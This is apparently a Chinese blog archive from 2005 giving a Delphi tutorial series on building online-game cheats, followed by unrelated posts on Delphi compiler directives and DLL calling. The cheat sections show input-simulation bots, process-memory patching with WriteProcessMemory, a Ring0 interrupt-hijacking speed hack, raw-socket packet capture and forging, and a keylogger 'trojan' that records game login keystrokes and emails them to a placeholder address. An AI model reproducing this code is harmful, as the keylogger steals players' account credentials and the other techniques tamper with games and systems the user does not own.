int Y // vertical position
);
3、模拟鼠标发出按下和放开的动作，我们要用到mouse_event函数来实现，具休使用方法用下：
VOID mouse_event(

DWORD dwFlags, // flags specifying various motion/click variants
DWORD dx, // horizontal mouse position or position change
DWORD dy, // vertical mouse position or position change
DWORD dwData, // amount of wheel movement
DWORD dwExtraInfo // 32 bits of application-defined information
);
在它的dwFlags处，可用的事件很多如移动MOUSEEVENTF_MOVE，左键按下MOUSEEVENTF_LEFTDOWN，左键放开MOUSEEVENTF_LEFTUP，具体的东东还是查一下MSDN吧~~~~~
好了，有了以前的知识，我们就可以来看看人物移走是怎么实现的了：

getcursorpos(point);
setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随机坐标函数
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
setcursorpos(point.x,point.y);

看了以上的代码，是不是觉得人物的游走很简单啦~~，举一仿三，还有好多好东东可以用这个技巧实现（我早就说过，TMD，这是垃圾外挂的做法，相信了吧~~~），接下来，再看看游戏里面自动攻击的做法吧（必需游戏中攻击支持快捷键的），道理还是一样的，只是用的API不同罢了~~~，这回我们要用到的是keybd_event函数，其用法如下：
VOID keybd_event(

BYTE bVk, // virtual-key code
BYTE bScan, // hardware scan code
DWORD dwFlags, // flags specifying various function options
DWORD dwExtraInfo // additional data associated with keystroke
);
我们还要知道扫描码不可以直接使用，要用函数MapVirtualKey把键值转成扫描码，MapVirtualKey的具体使用方法如下：
UINT MapVirtualKey(

UINT uCode, // virtual-key code or scan code
UINT uMapType // translation to perform
);
好了，比说此快接键是CTRL+A，接下来让我们看看实际代码是怎么写的：

keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);
keybd_event(65,mapvirtualkey(65,0),0,0);
keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);
keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);

首先模拟按下了CTRL键，再模拟按下A键，再模拟放开A键，最后放开CTRL键，这就是一个模拟按快捷键的周期。
（看到这里，差不多对简易外挂有了一定的了解了吧~~~~做一个试试？如果你举一仿三还能有更好的东东出来，这就要看你的领悟能力了~~，不过不要高兴太早这只是才开始，以后还有更复杂的东东等着你呢~~）
===============================================================
上回我们对动作式外挂做了一个解析，动作式是最简单的外挂，现在我们带来看看，比动作式外挂更进一步的外挂——本地修改式外挂的整个制作过程进行一个详细的分解。
具我所知，本地修改式外挂最典型的应用就是在"精灵"游戏上面，因为我在近一年前（"精灵"还在测试阶段），我所在的公司里有很多同事玩"精灵"，于是我看了一下游戏的数据处理方式，发现它所发送到服务器上的信息是存在于内存当中（我看后第一个感受是：修改这种游戏和修改单机版的游戏没有多大分别，换句话说就是在他向服务器提交信息之前修改了内存地址就可以了），当时我找到了地址于是修改了内存地址，果然，按我的想法修改了地址，让系统自动提交后，果然成功了~~~~~，后来"精灵"又改成了双地址校检，内存校检等等，在这里我就不废话了~~~~，OK，我们就来看看这类外挂是如何制作的：
在做外挂之前我们要对Windows的内存有个具体的认识，而在这里我们所指的内存是指系统的内存偏移量，也就是相对内存，而我们所要对其进行修改，那么我们要对几个Windows API进行了解，OK，跟着例子让我们看清楚这种外挂的制作和API的应用（为了保证网络游戏的正常运行，我就不把找内存地址的方法详细解说了）：
1、首先我们要用FindWindow,知道游戏窗口的句柄，因为我们要通过它来得知游戏的运行后所在进程的ID，下面就是FindWindow的用法：
HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);
2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID，函数用法如下：
DWORD GetWindowThreadProcessId(

HWND hWnd, // handle of window
LPDWORD lpdwProcessId // address of variable for process identifier
);
3、得到游戏进程ID后，接下来的事是要以最高权限打开进程，所用到的函数OpenProcess的具体使用方法如下：
HANDLE OpenProcess(

DWORD dwDesiredAccess, // access flag
BOOL bInheritHandle, // handle inheritance flag
DWOD dwProcessId // process identifier
);
在dwDesiredAccess之处就是设存取方式的地方，它可设的权限很多，我们在这里使用只要使用PROCESS_ALL_ACCESS 来打开进程就可以，其他的方式我们可以查一下MSDN。
4、打开进程后，我们就可以用函数对存内进行操作，在这里我们只要用到WriteProcessMemory来对内存地址写入数据即可（其他的操作方式比如说：ReadProcessMemory等，我在这里就不一一介绍了），我们看一下WriteProcessMemory的用法：
BOOL WriteProcessMemory(

HANDLE hProcess, // handle to process whose memory is written to
LPVOID lpBaseAddress, // address to start writing to
LPVOID lpBuffer, // pointer to buffer to write data to
DWORD nSize, // number of bytes to write
LPDWORD lpNumberOfBytesWritten // actual number of bytes written
);
5、下面用CloseHandle关闭进程句柄就完成了。
这就是这类游戏外挂的程序实现部份的方法，好了，有了此方法，我们就有了理性的认识，我们看看实际例子，提升一下我们的感性认识吧，下面就是XX游戏的外挂代码，我们照上面的方法对应去研究一下吧：
const
ResourceOffset: dword = $004219F4;
resource: dword = 3113226621;
ResourceOffset1: dword = $004219F8;
resource1: dword = 1940000000;
ResourceOffset2: dword = $0043FA50;
resource2: dword = 1280185;
ResourceOffset3: dword = $0043FA54;
resource3: dword = 3163064576;
ResourceOffset4: dword = $0043FA58;
resource4: dword = 2298478592;
var
hw: HWND;
pid: dword;
h: THandle;
tt: Cardinal;
begin
hw := FindWindow('XX', nil);
if hw = 0 then
Exit;
GetWindowThreadProcessId(hw, @pid);
h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if h = 0 then
Exit;
if flatcheckbox1.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt);
WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt);
end;
if flatcheckbox2.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt);
WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt);
WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt);
end;
MessageBeep(0);
CloseHandle(h);
close;
这个游戏是用了多地址对所要提交的数据进行了校验，所以说这类游戏外挂制作并不是很难，最难的是要找到这些地址。
================================================================
以前介绍过的动作式，本地修改式外挂是真正意义上的外挂，而今天本文要介绍的木马式外挂，可能大多像木马吧，是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在，所以今天不得不说一下（我个人是非常讨厌这类外挂的，请看过本文的朋友不要到处乱用此技术，谢谢合作）。要做此类外挂的程序实现方法很多（比如HOOK，键盘监视等技术），因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库，所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视，这个程序用这种技术来实现比较适合。
在做程序之前我们必需要了解一下程序的思路：
1、我们首先知道你想记录游戏的登录窗口名称。
2、判断登录窗口是否出现。
3、如果登录窗口出现，就记录键盘。
4、当窗口关闭时，把记录信息，通过邮件发送到程序设计者的邮箱。
第一点我就不具体分析了，因为你们比我还要了解你们玩的是什么游戏，登录窗口名称是什么。从第二点开始，我们就开始这类外挂的程序实现之旅：
那么我们要怎么样判断登录窗口虽否出现呢？其实这个很简单，我们用FindWindow函数就可以很轻松的实现了：
HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);
实际程序实现中，我们要找到'xx'窗口，就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现，那么我们就可以对键盘信息进行记录了。
先首我们用SetWindowsHookEx设置监视日志，而该函数的用法如下：
HHOOK SetWindowsHookEx(

int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle of application instance
DWORD dwThreadId // identity of thread to install hook for
);
在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数，来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了，具体实现方法为：
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
而HOOKPROC里的函数就要复杂一点点：
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if findedtitle then //如果发现窗口后
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下
hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult（自定义的函数，主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的）转换消息。
if length(hookkey) > 0 then //如果获得按键名称
begin
Write(hookkeyFile,hookkey); //把按键名称写入文本文件
hookkey := '';
end;
end;
end;
以上就是记录键盘的整个过程，简单吧，如果记录完可不要忘记释放呀，UnHookWindowsHookEx(hHook)，而hHOOK,就是创建setwindowshookex后所返回的句柄。
我们已经得到了键盘的记录，那么现在最后只要把记录的这些信息发送回来，我们就大功造成了。其他发送这块并不是很难，只要把记录从文本文件里边读出来，用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下：
assignfile(ReadFile,'hook.txt'); //打开hook.txt这个文本文件
reset(ReadFile); //设为读取方式
try
While not Eof(ReadFile) do //当没有读到文件尾
begin
Readln(ReadFile,s,j); //读取文件行
body:=body+s;
end;
finally
closefile(ReadFile); //关闭文件
end;
nmsmtp1.EncodeType:=uuMime; //设置编码
nmsmtp1.PostMessage.Attachments.Text:=''; //设置附件
nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; //设置源邮件地址
nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /设置目标邮件地址
nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; //设置邮件内容
nmsmtp1.PostMessage.Subject:='password'; //设置邮件标题
nmsmtp1.SendMail; //发送邮件
==================================================================================
我一直没有搞懂制作加速外挂是怎么一回事，直到前不久又翻出来了2001年下半期的《程序员合订本》中《"变速齿轮"研究手记》重新回味了一遍，才有了一点点开悟，随后用Delphi重写了一遍，下面我就把我的心得说给大家听听，并且在此感谢《"变速齿轮"研究手记》作者褚瑞大虲给了提示。废话我就不多说了，那就开始神奇的加速型外挂体验之旅吧！
原本我一直以为加速外挂是针对某个游戏而写的，后来发现我这种概念是不对的，所谓加速外挂其实是修改时钟频率达到加速的目的。
以前DOS时代玩过编程的人就会马上想到，这很简单嘛不就是直接修改一下8253寄存器嘛，这在以前DOS时代可能可以行得通，但是windows则不然。windows是一个32位的操作系统，并不是你想改哪就改哪的（微软的东东就是如此霸气，说不给你改就不给你改^_^），但要改也不是不可能，我们可以通过两种方法来实现：第一是写一个硬件驱动来完成，第二是用Ring0来实现（这种方法是CIH的作者陈盈豪首用的，它的原理是修改一下IDT表->创建一个中断门->进入Ring0->调用中断修改向量，但是没有办法只能用ASM汇编来实现这一切*_*，做为高级语言使用者惨啦！），用第一种方法用点麻烦，所以我们在这里就用第二种方法实现吧~~~
在实现之前我们来理一下思路吧：
1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门，修改向量等工作
2、调用这个过程来实现加速功能
好了，现在思路有了，我们就边看代码边讲解吧：
首先我们建立一个过程，这个过程就是本程序的核心部份：
procedure SetRing(value:word); stdcall;
const ZDH = $03; ／／设一个中断号
var
IDT : array [0..5] of byte; ／／保存IDT表
OG : dword; ／／存放旧向量
begin
asm
push ebx
sidt IDT ／／读入中断描述符表
mov ebx, dword ptr [IDT+2] ／／IDT表基地址
add ebx, 8*ZDH ／／计算中断在中断描述符表中的位置
cli ／／关中断
mov dx, word ptr [ebx+6]
shl edx, 16d
mov dx, word ptr [ebx]
mov [OG], edx
mov eax, offset @@Ring0 ／／指向Ring0级代码段
mov word ptr [ebx], ax ／／低16位,保存在1,2位
shr eax, 16d
mov word ptr [ebx+6], ax ／／高16位保存在6,7位
int ZDH ／／中断
mov ebx, dword ptr [IDT+2] ／／重新定位
add ebx, 8*ZDH
mov edx, [OG]
mov word ptr [ebx], dx
shr edx, 16d
mov word ptr [ebx+6], dx ／／恢复被改了的向量
pop ebx
jmp @@exitasm ／／到exitasm处
@@Ring0: ／／Ring0,这个也是最最最核心的东东
mov al,$34 ／／写入8253控制寄存器
out $43,al
mov ax,value　／／写入定时值
out $40,al ／／写定时值低位
mov al,ah
out $40,al ／／写定时值高位
iretd ／／返回
@@exitasm:
end;
end;
最核心的东西已经写完了，大部份读者是知其然不知其所以然吧，呵呵，不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于"变速齿轮"的一个东东吧！
先加一个窗口，在窗口上放上一个trackbar控件把其Max设为20，Min设为1，把Position设为10，在这个控件的Change事件里写上：

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

因为windows默认的值为$1742，所以我们把1742做为基数，又因为值越小越快，反之越慢的原理，所以写了这样一个公式，好了，这就是"变速齿轮"的一个Delphi＋ASM版了（只适用于win9X），呵呵，试一下吧，这对你帮助会很大的，呵呵。
在win2000里，我们不可能实现在直接对端口进行操作，Ring0也失了效，有的人就会想到，我们可以写驱动程序来完成呀，但在这里我告诉你，windows2000的驱动不是一个VxD就能实现的，像我这样的低手是写不出windows所用的驱动WDM的，没办法，我只有借助外力实现了，ProtTalk就是一个很好的设备驱动，他很方便的来实现对低层端口的操作，从而实现加速外挂。
1、我们首先要下一个PortTalk驱动，他的官方网站是http://www.beyondlogic.org
2、我们要把里面的prottalk.sys拷贝出来。
3、建立一个Protalk.sys的接口（我想省略了，大家可以上http://www.freewebs.com/liuyue/porttalk.pas下个pas文件自己看吧）
4、实现加速外挂。
本来就篇就是补充篇原理我也不想讲太多了，下面就讲一下这程序的实现方法吧，如果说用ProtTalk来操作端口就容易多了，比win98下用ring权限操作方便。
1、新建一个工程，把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。
2、我们在我们新建的工程加入我们的接口文件
uses
windows,ProtTalk......
3、我们建立一个过程
procedure SetRing(value:word);
begin
if not OpenPortTalk then exit;
outportb($43,$34);
outportb($40,lo(Value));
outprotb($40,hi(value));
ClosePortTalk;
end;

4、先加一个窗口，在窗口上放上一个trackbar控件把其Max设为20，Min设为1，把Position设为10，在这个控件的Change事件里写上：

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));
============================================================================
网络游戏的封包技术是大多数编程爱好者都比较关注的关注的问题之一，在这一篇里就让我们一起研究一下这一个问题吧。
别看这是封包这一问题，但是涉及的技术范围很广范，实现的方式也很多（比如说APIHOOK,VXD,Winsock2都可以实现），在这里我们不可能每种技术和方法都涉及，所以我在这里以Winsock2技术作详细讲解，就算作抛砖引玉。
由于大多数读者对封包类编程不是很了解，我在这里就简单介绍一下相关知识：
APIHooK：
由于Windows的把内核提供的功能都封装到API里面，所以大家要实现功能就必须通过API，换句话说就是我们要想捕获数据封包，就必须先要得知道并且捕获这个API，从API里面得到封包信息。
VXD：
直接通过控制VXD驱动程序来实现封包信息的捕获，不过VXD只能用于win9X。
winsock2：
winsock是Windows网络编程接口，winsock工作在应用层，它提供与底层传输协议无关的高层数据传输编程接口，winsock2是winsock2.0提供的服务提供者接口，但只能在win2000下用。
好了，我们开始进入winsock2封包式编程吧。
在封包编程里面我准备分两个步骤对大家进行讲解：1、封包的捕获，2、封包的发送。
首先我们要实现的是封包的捕获：
Delphi的封装的winsock是1.0版的，很自然winsock2就用不成。如果要使用winsock2我们要对winsock2在Delphi里面做一个接口，才可以使用winsock2。
1、如何做winsock2的接口？
1）我们要先定义winsock2.0所用得到的类型，在这里我们以WSA_DATA类型做示范，大家可以举一仿三的来实现winsock2其他类型的封装。
我们要知道WSA_DATA类型会被用于WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer;，大家会发现WSData是引用参数，在传入参数时传的是变量的地址，所以我们对WSA_DATA做以下封装：
const
WSADESCRIPTION_LEN = 256;
WSASYS_STATUS_LEN = 128;
type
PWSA_DATA = ^TWSA_DATA;
WSA_DATA = record
wVersion: Word;
wHighVersion: Word;
szDescription: array[0..WSADESCRIPTION_LEN] of Char;
szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char;
iMaxSockets: Word;
iMaxUdpDg: Word;
lpVendorInfo: PChar;
end;
TWSA_DATA = WSA_DATA;
2）我们要从WS2_32.DLL引入winsock2的函数，在此我们也是以WSAStartup为例做函数引入：
function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;

implementation

const WinSocket2 = 'WS2_32.DLL';
function WSAStartup; external winsocket name 'WSAStartup';

通过以上方法，我们便可以对winsock2做接口，下面我们就可以用winsock2做封包捕获了，不过首先要有一块网卡。因为涉及到正在运作的网络游戏安全问题，所以我们在这里以IP数据包为例做封包捕获，如果下面的某些数据类型您不是很清楚，请您查阅MSDN：
1）我们要起动WSA，这时个要用到的WSAStartup函数，用法如下：
INTEGER WSAStartup(
wVersionRequired: word，
WSData: TWSA_DATA
)；
2）使用socket函数得到socket句柄，m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP); 用法如下：
INTEGER socket(af: Integer,
Struct: Integer,
protocol: Integer
);

m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP);在程序里m_hSocket为socket句柄，AF_INET，SOCK_RAW，IPPROTO_IP均为常量。

3)定义SOCK_ADDR类型，跟据我们的网卡IP给Sock_ADDR类型附值，然后我们使用bind函数来绑定我们的网卡，Bind函数用法如下：

Type
IN_ADDR = record
S_addr : PChar;
End;

Type
TSOCK_ADDR = record
sin_family: Word;
sin_port: Word;
sin_addr : IN_ADDR
sin_zero: array[0..7] of Char;
End;

var
LocalAddr:TSOCK_ADDR;

LocalAddr.sin_family: = AF_INET;
LocalAddr.sin_port: = 0;
LocalAddr.sin_addr.S_addr: = inet_addr('192.168.1.1'); ／／这里你自己的网卡的IP地址,而inet_addr这个函数是winsock2的函数。

bind(m_hSocket, LocalAddr, sizeof(LocalAddr))；

4)用WSAIoctl来注册WSA的输入输出组件，其用法如下：

INTEGER WSAIoctl(s:INTEGER,
dwIoControlCode : INTEGER,
lpvInBuffer :INTEGER,
cbInBuffer : INTEGER,
lpvOutBuffer : INTEGER,
cbOutBuffer: INTEGER,
lpcbBytesReturned : INTEGER,
lpOverlapped : INTEGER,
lpCompletionRoutine : INTEGER
);
5)下面做死循环，在死循环块里，来实现数据的接收。但是徇环中间要用Sleep()做延时，不然程序会出错。
6)在循环块里，用recv函数来接收数据，recv函数用法如下：
INTEGER recv (s : INTEGER,
buffer:Array[0..4095] of byte,
length : INTEGER,
flags : INTEGER,
)；
7)在buffer里就是我们接收回来的数据了，如果我们想要知道数据是什么地方发来的，那么，我们要定义一定IP包结构，用CopyMemory()把IP信息从buffer里面读出来就可以了，不过读出来的是十六进制的数据需要转换一下。

看了封包捕获的全过程序，对你是不是有点起发，然而在这里要告诉大家的是封包的获得是很容易的，但是许多游戏的封包都是加密的，如果你想搞清楚所得到的是什么内容还需要自己进行封包解密。
======================================================================
在本章中，我们主要来研究一下封包的制作和发送，同样，我们所采用的方法是Delphi+winsock2来制作。在以前说过在Delphi中只封装了winsock1，winsock2需要自已封装一下，我在此就不多介绍如何封装了。
下面就一步步实现我们的封包封装与发送吧：
首先，我们应该知道，封包是分两段的，一段是IP，一段是协议（TCP，UDP，其他协议），IP就像邮政编码一样，标识着你的这个封包是从哪里到哪里，而协议里记录着目标所要用到的包的格式及校验等，在网络游戏中的协议一般都是自已定义的，要破解网络游戏最重要的是学会破解网络游戏的协议网络游戏协议破解，为了不影响现运行的网络游戏的安全，我在此会以UDP协议为例，介绍一下网络协议的封包与发送的全过程。
接下来，我们就可以开始看看整个封包全过程了：
1）我们要起动sock2，这时个要用到的WSAStartup函数，用法如下：
INTEGER WSAStartup(
wVersionRequired: word，
WSData: TWSA_DATA
)；
在程序中wVersionRequired我们传入的值$0002,WSData为TWSA_DATA的结构。
2）使用socket函数创建并得到socket句柄; 用法如下：
INTEGER socket(af: Integer,
Struct: Integer,
protocol: Integer
);
注意的是在我们的程序封包中饱含了IP包头，所以我们的Struct参数这里要传入的参数值为2，表示包含了包头。该函数返回值为刚刚创建的winsocket的句柄。
3）使用setsockopt函数设置sock的选项; 用法如下：
INTEGER setsockopt(s: Integer,
level: Integer,
optname: Integer,
optval: PChar,
optlen: Integer
);
在S处传入的是Socket句柄，在本程序里level输入的值为0表示IP（如果是6表示TCP，17表示UDP等~），OptName里写入2，而optval的初始值填入1，optlen为optval的大小。
4）接下来我们要分几个步骤来实现构建封包：
1、把IP转换成sock地址，用inet_addr来转换。
Longint inet_addr(
cp: PChar
);
2、定义包的总大小、IP的版本信息为IP结构：
总包大小=IP头的大小+UDP头的大小+UDP消息的大小，
IP的版本，在此程序里定义为4，
3、填写IP包头的结构：
ip.ipverlen := IP的版本 shl 4;
ip.iptos := 0; // IP服务类型
ip.iptotallength := ; // 总包大小
ip.ipid := 0; // 唯一标识，一般设置为0
ip.ipoffset := 0; // 偏移字段
ip.ipttl := 128; // 超时时间
ip.ipprotocol := $11; // 定义协议
ip.ipchecksum := 0 ; // 检验总数
ip.ipsrcaddr := ; // 源地址
ip.ipdestaddr := ; // 目标地址
4、填写UDP包头的结构：
udp.srcportno := ; //源端口号
udp.dstportno := ; //目标端口号
udp.udplength := ; //UDP包的大小
udp.udpchecksum := ; //检验总数
5、把IP包头，UDP包头及消息，放入缓存。
6、定义远程信息：
remote.family := 2;
remote.port :=; //远程端口
remote.addr.addr :=; //远程地址

5）我们用SendTo发送封包，用法如下：
INTEGER sendto(s: Integer,
var Buf: Integer,
var len: Integer,
var flags: Integer,
var addrto: TSock_Addr;
tolen: Integer
);
在S处传入的是Socket句柄,Buf是刚刚建好的封包，len传入封包的总长度刚刚计算过了，flag是传入标记在这里我们设为0，addto发送到的目标地址，在这里我们就传入remote就可以了，tolen写入的是remote的大小。

6）到了最后别忘记了用CloseSocket(sh)关了socket和用WSACleanup关了winsock。

cyberfan 2005-08-12 16:00 发表评论

Delphi编译指令详解(1-10)

cyberfan — Fri, 12 Aug 2005 08:00:00 GMT

Delphi编译指令详解(1)——总述

Delphi编译指令共有三种，开关编译指令、参数编译指令和条件编译指令。

一个编译指令实际上是一个标志符（编译器所能识别的标志符)，且有其固定的语法。
编译器根据不同的指令按不同的方式编译程序。
你可以将一个编译指令放在程序的任何位置。编译指令的开始字符是" $" ,
它总是出现在 "{"符号之后，$之后为编译指令的实际部分，可以是一个或
多个字符（根据指令的不同而定），在指令后还可以包含一个或多个需要的参数。
一个编译指令的结束符为"}"。

下面分别讲述三种编译指令

开关编译指令地特点是它有 on 、off 两种转换状态。对于单字符版本，
你可以在编译指令后添加 "+"或"-"。对于长字符版本，你可以在编译指令后添加
"on"或"off"。

开关编译指令又分为全局和局部两种。

全局编译指令影响全部的编译内容，它必须在放在程序和单元声明之前。

局部编译指令仅影响局部的编译内容，它的影响范围是，直至下一个最近的编译指令。
它可以放在程序的任意位置。

开关编译指令可以组合成一个简单的编译指令组，中间用逗号分开，但不能有空格。
例如：
{$B+,R-,S-}

参数编译指令通过参数指定影响的的内容，参数可以为文件名或内存大小等。

条件编译指令指定的条件如何编译特定的区域段。也就是如果满足某个条件，
则按照一种方式编译，否则按另一种方式编译。

所有的编译指令（除开关编译指令外）在名字和参数之间至少应有一个空格。
例如：
{$B+}

{$STACKCHECKS ON}
{$R- Turn off range checking}
{$I TYPES.INC}
{$M 32768,4096}
{$DEFINE Debug}
{$IFDEF Debug}

{$ENDIF}

Delphi编译指令详解(2)——排列字段类型（Align fields）

Type Switch //开关编译指令
Syntax {$A+}, {$A-}, {$A1}, {$A2}, {$A4}, or {$A8}
{$ALIGN ON}, {$ALIGN OFF}, {$ALIGN 1}, {$ALIGN 2}, {$ALIGN 4}, or {$ALIGN 8}
Default {$A8}
{$ALIGN 8}
Scope Local //局部指令

说明：

指令 $A 控制Delphi中的记录类型字段和类结构型字段。

在指令 {$A1} 或 {$A-}状态下，字段是无序的，所有的记录和类结构都被积压在一起，无序排放。

在指令 {$A2} 下，记录型的字段在声明时没有packed，类型结构中的字段，按字节顺序排列。

在指令 {$A4} 下，记录型的字段在声明时没有packed，类型结构中的字段，按双字节顺序排列。

在指令 {{$A8} 或 {$A+} 下，记录型的字段在声明时没有packed，类型结构中的字段，按四字节顺序排列。

在指令 $A 下，无论变量类型，常量类型，总是以最佳存取方式排列。在 {$A8} 下，按最快的方式排列。

Delphi编译指令详解(3)——注释与编译指令的区别与联系（Comments and compiler directives）

注释的内容将被编译器忽略，除非它们是离析器函数或编译指令。

这里有几种常见的注释结构

{ 括在此大括号中的内容为注释内容，此内容可以为多行，只要在两个大括号之间即可以，注释掉的内容一般都会以特殊的字体和颜色显示（适合所有的注释类型），很容易区分}
(* 在此括号和星号之间的内容为注释内容 *)
// 在此双反斜线后的内容为注释内容，此处只能为一行。.

注释不能被嵌套。如{{}}将不起作用，但是(*{}*)是允许的。

还有一种注释它跟普通的注释很像，但它有特殊的一点以 "{$" 开始，以"}"，此种注释称为编译指令。
如
{$WARNINGS OFF}

它将告诉编译器不要产生错误警告信息。

说白了编译指令不是一种注释，而是一种告诉编译器如何编译的指示符。

Delphi编译指令详解(4)——应用程序类型

Type Parameter //参数指令
Syntax {$APPTYPE GUI} or {$APPTYPE CONSOLE}
Default {$APPTYPE GUI}
Scope Global //局部指令

说明

$APPTYPE 编译指令决定是否产生 Win32 控制台程序（以DOS方式显示）或
图形界面程序（以窗口显示，大部分为此程序）。

在{$APPTYPE GUI}编译指令下，编译器产生图形界面程序，这是一种普通的Delphi应用程序。

在{$APPTYPE CONSOLE}编译指令下，编译器产生一个控制台应用程序。
当一个控制台程序启动的时候，出现一个控制台窗口，通过此窗口用户可以和应用程序交互。
此时标准的输入输出命令与控制台程序自动结合。

IsConsole布尔变量在System单元中，通过它可以查看程序是否运行在控制台程序下或图形界面程序下。

$APPTYPE编译指令只能出现在程序中。他不可以出现在库文件单元文件和包中。

Delphi编译指令详解(5)——声明称指令（Assert directives)

Type Switch //开关类型
Syntax {$C+} or {$C-}
{$ASSERTIONS ON} or {$ASSERTIONS OFF}
Default {$C+}
{$ASSERTIONS ON}
Scope Local //局部

说明

$C 指令决定在Delphi资源文件中能否产生声明代码。{$C+}为默认指令。

此声明通常不用在运行时中的测试版本产品中。

Delphi编译指令详解(6)——调试信息

Type Switch //开关类型
Syntax {$D+} or {$D-}
{$DEBUGINFO ON} or {$DEBUGINFO OFF}
Default {$D+}
{$DEBUGINFO ON}
Scope Global //局部指令
&nsp;

说明：

$D 指令决定能否产生调试信息。这个信息是由每个进程产生的一个成员列表，
并记录对象代码地址在资源文件中的行号。

对于单元文件，调试信息记录在和单元文件一起的单元对象代码中。
调试信息增加单元文件的大小，当编译程序编译单元文件是将增加而外的内存。
但它不影响可执行程序的大小和速度。

当一个程序或单元文件在{$D+}状态下被编译，综合调试允许你在此模块中单步运行和设置断点。

$D指令通常和 $L一起使用，他们能决定是否产生局部调试的符号信息。

Delphi编译指令详解(7)——库文件与共享对象

Type Parameter //参数编译指令
Syntax $LIBPREFIX 'string'
$LIBSUFFIX 'string'
$LIBVERSION 'string'
Defaults $LIBPREFIX 'lib' or $SOPREFIX 'bpl'
$LIBSUFFIX ' '
$LIBVERSION ' '
Scope Global //局部指令

说明：

$LIBPREFIX 指令可以覆盖默认的 'lib' 或 'bpl'输出文件前缀。例如你可以指定
{$LIBPREFIX 'dcl'}

对于一个设计时间包，你可以使用下面的指令去所有的前缀。
{$LIBPREFIX ' '}

$LIBSUFFIX 指令添加一个指定的后缀（在扩展明之前）到输出文件名中。
例如，使用
{$LIBSUFFIX '-2.1.3'}
添加到something.pas中，将产生
something-2.1.3.dll 文件

$LIBVERSION指令添加一个二层扩展（在原扩展名之后）到输出文件名中。例如使用
{$LIBVERSION '-2.1.3'}
在something.pas中将产生
libsomething.dll.2.1.3 文件

Delphi编译指令详解(8)——定义指令

Type Conditional compilation //条件指令
Syntax {$DEFINE name}

根据一个给定的名字设计一个Delphi条件符号。这个符号需要在此模块中已经声明和验证，
或者在{$UNDEF name}中已经出现。如果此名字已经定义则{$DEFINE name}将失效。

Delphi编译指令详解(9)——描述指令

Type Parameter //参数
Syntax {$DESCRIPTION 'text'}
Scope Global //局部

说明

$D指令插入你指定的模块文件中，当它应放在可执行文件，Dll文件，或包的前面。
一般来说指明的是名字、版本号和版权，但是你也可以指定你需要指定的内容。
例如：
{$D 'My Application version 12.5'}

字符串不能超过256个字节。此描述对于最终用户一般是看不到的。标志你的执行文件，
通过描述性文字，版本和版权信息，将对你的最终用户有意。

提示：此文本描述必须包含在引用中。

Delphi编译指令详解(10)——ELSE指令

Type Conditional compilation //条件指令
Syntax {$ELSE}

说明：

此指令位于{$IFxxx}之后，{$ENDIF} or {$IFEND}之前，是编译与忽略源代码的界线。

cyberfan 2005-08-12 16:00 发表评论

Delphi中高级DLL的编写和调用(1)

cyberfan — Fri, 12 Aug 2005 07:59:00 GMT

根据Delphi提供的有关 DLL编写和调用的帮助信息，你可以很快完成一般的 DLL编写和调用的应用程序。本文介绍的主题是如何编写和调用能够传递各种参数（包括对象实例）的 DLL。例如，主叫程序传递给 DLL一个ADOConnection 对象示例作为参数， DLL中的函数和过程调用通过该对象实例访问数据库。

　　需要明确一些基本概念。对于 DLL，需要在主程序中包含 exports子句，用于向外界提供调用接口，子句中就是一系列函数或过程的名字。对于主叫方（调用 DLL的应用程序或其它的 DLL），则需要在调用之前进行外部声明，即external保留字指示的声明。这些是编写 DLL和调用 DLL必须具备的要素。

　　另外需要了解Object Pascal 中有关调用协议的内容。在Object Pascal 中，对于过程和函数有以下五种调用协议：

　　指示字参数传递顺序参数清除者参数是否使用寄存器
　　register 自左向右被调例程是
　　pascal 自左向右被调例程否
